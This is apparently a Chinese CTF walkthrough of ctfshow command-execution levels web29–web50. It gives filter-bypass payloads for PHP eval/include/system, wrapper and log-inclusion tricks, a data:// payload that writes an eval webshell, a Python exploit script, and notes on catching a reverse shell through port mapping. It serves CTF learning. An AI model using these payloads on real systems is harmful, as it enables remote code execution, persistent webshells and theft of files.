CTF命令执行总结:https://blog.csdn.net/qq_45760866/article/details/116993292(好)

执行常见系统命令/函数

  1. 常见的系统命令可以进行命令执行:
  2. awk 格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出
  3. cat/tac 读取,taccat的倒向读取
  4. nl 读取文件,并在文件的每一行前面标上行号
  5. vi/vim 编辑器,可以实现查看文件
  6. od 二进制方式读取文件内容
  7. more 类似于cat
  8. mv/cp 复制,但是可以通过复制的文件输出
  9. unique 可以通过file -f;报错出具体内容
  10. ls 读目录

实际操作就是通过以上命令实现命令执行
函数

system()  执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号  同shell_exec()
eval()  执行命令
show_source() 高亮显示文件
highlight_file()  高亮显示文件
array_reverse()  反向输出元素
pos()  输出当前元素的值
localeconv()  返回一包含本地数字及货币格式信息的数组
include  一般用于括号被过滤的情况,因为可以不用括号
require  一般用于括号被过滤的情况,因为可以不用括号
echo()  输出
next()  下一个元素

无公网IP反弹shell(花生壳)

通过一个命令执行的题目web29来试一下如何没有公网ip的情况下如何反弹shell,看一下效果
①在一台内网的主机的虚拟机,比如我在kali里面监听一个端口,nc -lvvnp 54321
图片.png
②直接使用花生壳——点击映射数进入花生壳管理——点击添加映射
https://console.hsk.oray.com/forward
图片.png
图片.png
③添加映射,配置如下
图片.png他会生成一个ip地址
图片.png
④命令执行,直接使用nc(-e参数再后面,在前面的话会报错)图片.png图片.png
⑤原理:
花生壳的原理:它是一个cs结构,server端通过网页来控制的,它是怎么来实现内网穿透呢?
首先本机安装了一个花生壳,是Client端,服务器端有一个S端,S端它会给你分配一个域名,你访问这个域名的时候和这个端口的时候,他会通过TCP协议调用C端,也就是本机的客户端(因为TCP连接,可以从外部连接到内部的,连接到本机的客户端,客户端收到消息,它会和服务器重新建立另一个连接,就是转发连接),转发连接就是我服务器端收到什么命令就发到客户端,客户端收到了通过链接服务端来把数据反射服务端,这样就实现内网的穿透!
图片.png

WEB29

hint:命令执行,需要严格的过滤

 <?php
error_reporting(0);//屏蔽错误
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);//eval()不是函数,是PHP的一种语言结构,eval() 会将字符串当作php代码执行。
    }

}else{
    highlight_file(__FILE__);
}

出题人思路:

发现这里过滤了flag,其中eval会执行括号内的字符串把它当做PHP代码执行
首先尝试一下c=phpinfo(); //注意要带上分号
尝试c=phpinfo()?> //这里没有分号也可以显示出来(PHP最后一条语句是可以没有分号的)
尝试c=system('ls');  // flag.php  index.php
我们用c=system('cp fla?.php 1.txt');  然后再直接访问/1.txt(出现flag)
为什么换成问号可以出来呢?因为问号在shell里面是一个占位符,和正则比较相似,表示一个字符

其他思路:

我们尝试提交/?c=system(“pwd”); 在网站根目录下
image.png
由于过滤了flag,在PHP语句中,我们可以采用通配符匹配:
image.png

我们尝试提交/?c=system(“cat /fla*.php”);(先进入根目录)
查看网站源代码后发现flag:
image.png
参考:https://blog.csdn.net/solitudi/article/details/109837640
参考大佬的博客还发现如下几种绕过方法:

通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl""ag.php`;(反引号也可以命令执行,只不过要输出)
payload4:c=echo `nl fl\ag.php`; //转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php  //先写个文件包含,再读取
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||     //该命令意思是其全局检索flag.php内容并输出
还有很多姿势,毕竟等于没过滤

绕过字符:cat ,ca''t,ca\t,ca""t三个的效果是一样的

了解 eval函数之后,传入:
c=echo "npfs";?>ctf <?php system('ls');
可以看到有 flag.php文件,之后采用include进行包含读取
payload:
?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

Linux中nl命令可以代替cat命令(显示行号输出)
图片.png
print $0 打印整行,$0表示当前行;若是$1则表示当前行的第一个字段,依此类推。
|| 是或

eval()是把括号里面的字符串当作PHP代码执行!要区分命令执行和代码执行!为什么问号可以出来呢?因为问号在shell里面是一个占位符,和正则比较相似。(通配符在命令执行中是可以用的,在代码执行里面就不行),比如eval(system(‘cat fla?.php’););中可以使用通配符,因为cat fla?.php是一个命令执行(shell)。

WEB30

hint:命令执行,需要严格的过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

出题人解法:

/?c=`cp fla?.??? 1.txt`;
然后直接访问1.txt,这样也是可以的

 为什么呢?反引号在PHP里面代表的和system一样,类似shell执行
  因为PHP过滤了,用三个问号占位符代表当前目录下以fla开头,后面有一个字符,然后是一个点,后面还有三个字符
  因为当前目录下只有一个flag.php,满足这个条件,所有它可以匹配成功

或者:
?c=echo shell_exec(“ls”);
?c=echo shell_exec(“tac fla’’g.ph\p”);

其他解法:
根据源码可知,过滤了flag、system、php(i表示对大小写不敏感)
命令执行函数除了system还有exec()、shell_exec()、passthru()、popen()、反引号等

system() system() 能够将字符串作为OS 命令执行,自带输出功能
exec() exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。
shell_exec() 应用最广泛,也需要print
passthru() 自带输出
popen() popen() 也能够执行OS 命令,但是该函数命令执行结果并不会返回结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。也就是说,我们在写这些命令的时候,我们需要把它文件的执行结果导入到一个文件中。
反引号 不叫函数,叫一种语言结构。反引号[``] 内的字符串,也会被解析成OS 命令。配合输出使用(echo等)

发现我们也可以通过通配符绕过:
image.pngimage.png
测试:/?c=echo nl fl''ag.ph*;(反引号命令执行/通配符/‘’绕过)
image.png
这里采用反引号绕过
解法一:
payload:c=echo cat f*;
解法二:
payload:
?c=echo “npfs “; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
eval(echo “npfs “; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php);
?>把前面的<?php闭合了,&url=php://filter/read=convert.base64-encode/resource=flag.php);就直接get取参了

其他payload:

c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用

WEB31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php、cat、sort、shell、. 、空格、单引号,且对大小写不敏感。
出题人解法:

我们可以试着嵌套eval执行
 ?c=eval($_GET[1]);&1=phpinfo();  //让他执行get的第一个参数,这里1就相当于这个参数逃逸出去了,它不属于c
这里可以任意使用ban掉的关键字,也是可以实现的:
 ?c=eval($_GET[1]);&1=system("ls");
 ?c=eval($_GET[1]);&1=system("cat flag.php");
这道题我们采用了一个特殊的办法就是用c参数用一个跳板传进去的值是让他执行另一个参数的值,
那么另一个参数1就脱离了对c正则判断,所以我们用ban掉的关键字也可以执行

其他解法:
?c=echo nl /fla*.ph""p;(X)点也过滤了啊
c=eval($_GET[1]);&1=system(‘nl flag.php’); //只会匹配第一条PHP语句,也就是eval($_GET[1]);
image.png

测试其他payload:

来自Y4师傅的payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

c=echo exec(‘nl fla?????’);(x 但是我不知道这个payload为什么不行,上面过滤的都没有昂?)
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php(√)
image.png

c=eval($_GET[1]);&1=system(‘nl flag.php’);(√)
c=awk ‘{printf $0}’ flag.php||(X)
image.png

WEB32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php、cat、sort、shell、. 、空格、单引号、反引号、echo、分号、左括号,且对大小写不敏感。
出题人解法:

主要是把分号和左括号也ban掉了,这时候我们接着逃逸。当然用上一个题的方法也是可以的,我们换一种方法试试。没有空格的话,用url编码可以绕过;没有分号的话上面说了PHP语句的最后一句是可以没有分号的,
这里可以用include试试?c=include%0a$_GET[1]?>&1=/etc/passwd  (%0a是换行符,继续逃逸出1参数)包含成功!试试:?c=include%0a$_GET[1]?>&1=flag.php,没有回显
为什么呢?虽然是包含,但是没有输出flag变量,虽然可以确定是包含进去了但是没有输出,因为include%0a$_GET[1]没有分号分隔照成无法输出,这时候我们可以按照文件包含来做,可以用hackbar的插件(选择LFI),1参数逃逸出来了,基本就没有其他过滤了

  这道题我们是使用文件包含的方法变相的读取任意文件(通过base64编码的过滤器来读取flag.php)
  php://filter/convert.base64-encode/resource=   
这个伪协议代表的意思就是通过指定的一个通道来读取某个文件,某个资源,这里的filter表示使用通道
base64-encode表示这个通道名字是base64,整体就是我读到的资源是先用base64进行编码,为什么要用base64编码呢?因为不用base64的话是看不到源文件的!

image.png

小知识:include不用括号,分号可以用?>代替。
c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

其他payload:

c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

知识:

文件包含之PHP 封装协议的使用--传输PHP 文件
可以使用以下参数来传送任意PHP 文件。
?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的所有字符串base64 解码即可。

php://是PHP的伪协议
filter就是过滤
read是一个动作,怎么读呢?
convert.base64-encode:对我们要读的文件进行base64编码
resource=是一个文件的名字

补充几个关于伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=   //(<?php phpinfo()?>的base64编码)

WEB33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

比web32多过滤了个双引号
出题人解法:

当然这道题用前面的方法也是可以做的,我们尝试不用前面的方法也能做出来,刚刚我们用include,当然我们用require也是可以的!
/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

其他解法:
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php(可以用上个题目的payload,它也没用到双引号,再强调一下,include可以不用等号,分号可以使用?>代替)

其他payload:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”);?>

PHP的data协议:
通过data可以写一句话木马到服务器下
filename=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php @eval(\$_POST['x']);?>")?>

image.png图片.png

又想了一种可以include日志: /?c=include$_GET[0]&0=/var/log/nginx/access.log
image.png

同样可以拿到shell,然后读文件即可

WEB34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤:flag、system、php、cat、sort、shell、. 、空格、单双引号、反引号、echo、分号、左括号、冒号

出题人解法:

这里过滤冒号是为了过滤直接进行伪协议那种参数
上面方法依然可行,如果分号和左括号过滤了,我们只能使用语言结构(echo、print、isset、unset、include、require等),这几个语言结构的话它是不需要使用括号的,此题echo过滤了,isset、unset也用不了,可以试一下print、include、require这三个

 试试:?c=print%0a$_GET[1]?>&1=phpinfo(); //不能执行,只出现了phpinfo();字符串,没有回显界面
这里面其实跟我们二进制比较类似,这里面就属于一个代码空间和数据空间,二进制里面有代码段和数据段,phpinfo属于在数据段,不在代码段,所以它执行不了。你就意识到它是作为一个字符串系统来理解,如果要让他执行,就要把print变为eval,用eval必须要有括号才能执行这样的代码,所以eval行不通,用include:
  ?c=include%0a$_GET[1]?>&1=/etc/passwd;这里是可以正常读取的,但是它不是说是代码执行,只能说文件读取,继续读取:
  c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

上面解释的代码空间和数据空间搞清楚

其他方法:
同样可以用上一题的payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”)?>

WEB35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);

比web36多过滤了左尖括号和等号
出题人解法:

必须用上一题的方法解,原因在上一题解释过了

同样可以用上一题的payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”)?>
image.png

WEB36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

比WEB35多过滤了撇斜杠和[0-9](不让用数字就可以用字母,我们0换成a就行)
同样可以用上一题的payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[a]?>&a=data://text/plain,<?php system(“nl flag.php”)?>

这里中括号里面的a不用单引号,为什么可以不用单引号呢?为了PHP向下兼容,目前还没取消这种解法,以后版本更新可能不能这样写。

WEB37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

WEB37和之前代码的区别就是eval变成 include了,它说是不能包含flag,我先试用包含其他参数试一下:
?c=$_GET[1]&1=flag.php(X)
原因:把$_GET[1]作为数据领域,它不是代码执行的,它只能包含flag.php这个字符串,但是不能解析这个字符串的值
换一种写法
?c=php://filter/convert.base64-encode/resource=flag.php(X),也有flag内容了
考点是伪协议,可以用data协议:
?c=data://text/plain,<?php phpinfo();?> (√) //data伪协议是把后面的数字字符串作为PHP代码执行
由于过滤了flag,我们可以用老办法复制:
?c=data://text/plain,<?php system(“mv fla?.php 1.txt”);?> 再直接访问1.txt
还可以配合UA头执行日志包含 c=/var/log/nginx/access.log

WEB38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

PHP中include用来包含调用的PHP文件中的函数
?c=$_GET[1]&1=flag.php(X)
原因:include中, 把$_GET[1]作为数据领域,它不是代码执行的,它只能包含flag.php这个字符串,但是不能解析这个字符串的值
payload:c=data://text/plain,<?=system(“cp fl. 1.txt”);?>
?c=data://text/plain,<?= system(“tac fla’’g.p\hp”);?>
因为把PHP过滤了,我们可以试一下PHP短标签
image.png
执行后我们再访问1.txt,得到flag
注意上面要写成<?=system(xxxx);?>不要写成<??>,否则得不到flag,具体原因我也不知道。。。

WEB39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

与WEB37不同的是没有回显了,还强制加了后缀,include中$c后加了“.php”后缀
继续试一下data协议:c=data://text/plain,<?=phpinfo();?>
image.png
可以看到直接RCE了,虽然她后面有后缀,完整的话会变成:c=data://text/plain,<?=phpinfo();?>.php,那么他会先执行<?=phpinfo();?>,后面的”.php”执行不了,所以应该是会报错:
image.png
如果理解不了,可以改为:
image.png
如果我们把后面的.php去掉会回显2.php
所以这里有没有.php都不会影响前面的代码执行,继续用system:
c=data://text/plain,<?=system(“nl fla?.php”);?>
这个题目就是要深入理解一下代码执行和文件包含之间的关系
这条语句会直接在include()括号内执行,好像有没有include这里都无所谓,我这么理解也不知道对不对,PHP,没学好~

文件包含的时候里面不能有通配符,所以这道题借助了data协议读取文件内容
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

WEB40(★构造无参数函数进行读取)

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}
?>

出题人解法:
image.png

1、首先用hint里面的方法提交c=show_source(next(array_reverse(scandir(pos(localeconv())))));
可以拿到flag,它是通过货币信息去这个点“.”,然后扫描当前目录,然后把目录的结果进行翻转,然后取下一个,再显示源码。

2、不用hint提供的方法,为什么不用c=session_start();system(session_id());  passid=ls 这种方法呢?我们直接写c=c=session_start();system(session_id());,然后我们需要修改PHPSESSID的value为ls,它是可以看到的,但是我们能不能拿到它的值呢?,我们修改value为tac flag.php,再执行,这样是拿不到的,而且PHPSESSID也变了,那么下面我们用自己的办法,不用提示的方法:

3、现在不能用$的话就不能用老方法了,我们可以打印当前所有的变量,看能不能从变量中找到一点东西:c=print_r(get_defined_vars());(可以拿到,这里有GET变量,POST变量,COOKIE变量等)
我们可以给它加一个POST数组,回显变了,我们肯定要那回显中的phpinfo();这个字符串,只要执行这个字符串,就说明我们可以RCE。
  我们怎么拿到这个字符串呢?我们用print_r(next(get_defined_vars()));拿到了Array([1]=>phpinfo();这个数组),下面我们要拿到它的数组值,直接试一下对数组进行弹出:c=print_r(array_pop(next(get_defined_vars()))); 回显出phpinfo();这个字符串
  我们只需要让他执行一下即可:c=eval(array_pop(next(get_defined_vars())));  我们可以RCE直接拿flag,这种方法也是比较怪异的方法

操作步骤截图如下:
image.png
image.png
image.png
image.png

image.png
它POST提交的参数不会进行拦截(因为此题是GET传参)
查看源代码得到flag:
image.png

其他解法:
本题中过滤了数字、~、反引号、@、#、$,%,^,&,等几乎所有的符号(就不能base64编码、URL编码)
仔细看下题会发现过滤的不是英文括号,而是中文括号。而且没有过滤分号。
所以基本的命令都可以用,但是很难受的是引号没了,美元符号没了。
这里可以构造无参数函数进行文件读取
无参数文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),*不能带参数

print_r(scandir('.'))
可以用来查看当前目录所有文件名

但是我们这里说的是要构造无参数的函数,所以我们要做的就是去掉这个点号

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
**localeconv() ** 函数 返回数组的第一项就是 . (小数点)

看来上面这篇文章应该可以知道scandir(current(localeconv())) 查看当前目录所有文件名
image.png
我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,记得成功读取flag.php文件:

c=print_r(scandir(current(localeconv())));

image.png
使用highlight_file高亮显示代码:highlight_file()函数将flag.php中的内容返回

payload:?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));

image.png
或者:readfile(array_rand(array_flip(scandir(current(localeconv())))));

WEB41(★异或构造任意字符)

考点:异或,如何异或构造任意字符
过滤不严,命令执行

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

目测没有过滤下划线、点、分号、括号、竖杠(也就是或)
那么这个题思路就很明显了,就是通过一些特殊字符来构造出字母,来实现代码执行
hint中有羽师傅写的脚本orz:https://blog.csdn.net/miuzzx/article/details/108569080
生成所有字符的一个脚本:生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

通过上面的脚本跑完会拿到urlencode以后进行或运算以后拿到的字符,这里面的字符都是十六进制的
image.png
Q1: 那为什么%40和%01或一下就是A呢?

十六进制的40是十进制的64,64转为二进制是0100 0000
%01的话就是————————————————————————— 0000 0001
  或运算:                           0100 0001,是十进制的65,65的ASCII是A

Q2:通过%40和%01进行或运算是大写的A,为什么不用小写的?

因为PHP的代码phpinfo();/PhpinFo();/PHPINFO(); 等都是合法的
  这样我们可以用大写符号来调用我们指定的函数

  那么我们试着产生一个phpinfo();用这种调用方式是我们经常遇到的,但是因为我们要构造字符串
  所以我们要使用另外一种调用方式:——》('phpinfo')();这样也是可以执行的,语法正确
  所以我们要在('phpinfo')这个括号里面生成我们需要执行的命令,然后来执行命令执行

测试:
image.png
我们直接拼凑一下:(‘system’)(‘ls’)

('%40'|'%13')();
为什么源码不能像上面一样写?
是提交的时候浏览器会自动进行解码,编码以后发送到服务端,服务端进行解码,这里面也可能会出现不可见字符

最后是:
(('%40'|'%13').('%40'|'%19').('%40'|'%13').('%40'|'%14').('%40'|'%05').('%60'|'%0d'))((('%40'|'%0c').('%40'|'%13')))  
  但是上面这样是不能执行的,为什么呢?如果它这里面有换行符的话,构造出来的结果可能是这里面会有一个换行符造成这个函数无效!
  因为这里面有换行符%0d,如果出现换行符的话,这种函数写法是无效的:
  system
  ();

怎么办呢?直接上羽师傅脚本:
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py (这个要跟上面的rce_or.txt放在一个目录下)

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

执行结果:
image.png
我还没看到什么意思,带我细细琢磨一下!
这道题的考点其实就是异或,如何异或构造任意字符!

WEB42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");//2表示错误输出,1表示标准输出,把错误输出绑定到标准输出里面,统一输出到黑洞里面,所有c的返回结果是不显示的
}else{
    highlight_file(__FILE__);
}

发现把所有输出结果都扔进了“黑洞”,不会有任何结果
比如c=ls
image.png
我们用一下比较骚的姿势:c=ls;ls 双写绕过,是可以拿到的
为什么双写能绕过?因为这里面有分割分号,它是把第二个命令写到黑洞里面去了,第一个命令就正常输出:
image.png
image.png
或者用tac就可以直接显示出来,不用查看源代码,因为tac就是逆向返回,这样的话可以把HTML的注释进行破坏
image.png

hint里面也有一种方式:cat flag.php%0a 查看源代码 %0a是换行符

WEB43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

相比上一题过滤了分号、cat
依然可以用上一题payload:c=tac flag.php%0a(把上一题hint中的cat换成tac即可)
得到flag
cat和tac就是:
image.png
tac:反序输出文件的内容,文件的最后一行显示在第一行
它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序

其他payload:
把分号过滤了,我们可以用&&,但是这里需要url编码:
c=ls&&ls ——》c=ls%26%26ls(√)
原因:&符号代表第一个命令执行成功以后才执行第二个命令,言下之意就是两个命令,输出黑洞的就是第二个命令,相当于把命令进行分割
至于&&为什么要编码我也不知道。
可以用||来代替&&编码后的%26%26,但是||不需要编码就能使用

WEB44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?>

比上一题还多过滤了flag
payload:c=tac fla?.php%0a,拿到flag
此题不可以双写,因为过滤了分隔符;
试一下c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=fla?.php%0a(X)我也不知道为什么不行

还可以用 c=tac fla?.php%26%26ls

WEB45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?>

比上面一题多过滤了空格(这里的空格不是PHP代码里面的空格,而是Linux的shell里面的空格)
payload:tac还可以换成nl
c=tac${IFS}fla?.php%0a
c=tac%09fla?.php%0a (%09是tab水平制表符)
c=tac$IFS$9fla?.php%0a
c=tac,fla?.php%0a(x)
c=tac%20fla?.php%0a(x)等
image.png

题目的hint是echo$IFStac$IFS*%0A

WEB46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

比上题还多过滤了数字、$、
*payload
:c=tac%09fla?.php%0a(虽然%09里面有数字,但是自动解码后不属于数字)
或者c=tac%09fla?.php&&ls(x) 这里的两个&要进行url编码才能成功:?c=tac%09fla?.php%26%26ls

hint中给出的解法是:nl<fla’’g.php||(√)这里也可以用&&的编码%26%26来替换||(||为什么不需要编码?)

WEB47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

没有过滤上一题我们payload里面的字符,我们继续拿来用
?c=tac%09fla?.php%26%26ls

WEB48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

说明在Linux下读取文件的命令有很多
也没有过滤我们上题payload里面的字符,继续使用:?c=tac%09fla?.php%26%26ls
这里?可以用””或者’’代替:?c=tac%09fla’’g.php%26%26ls
hint: nl<fla’’g.php||

WEB49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

还可以用上题flag:?c=tac%09fla’’g.php%26%26ls

WEB50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

可以看多过滤了x09和x26
我们可以用<>代替空格:c=tac<>fla’’g.php||ls 或者 c=tac<>fla’’g.php||ls或者c=nl不能使用c=nl<fla?.php|| 测试得知不支持通配符,所一我们要用两个单引号分割字符串,执行会忽略

注意不要搞混了代码执行和命令执行!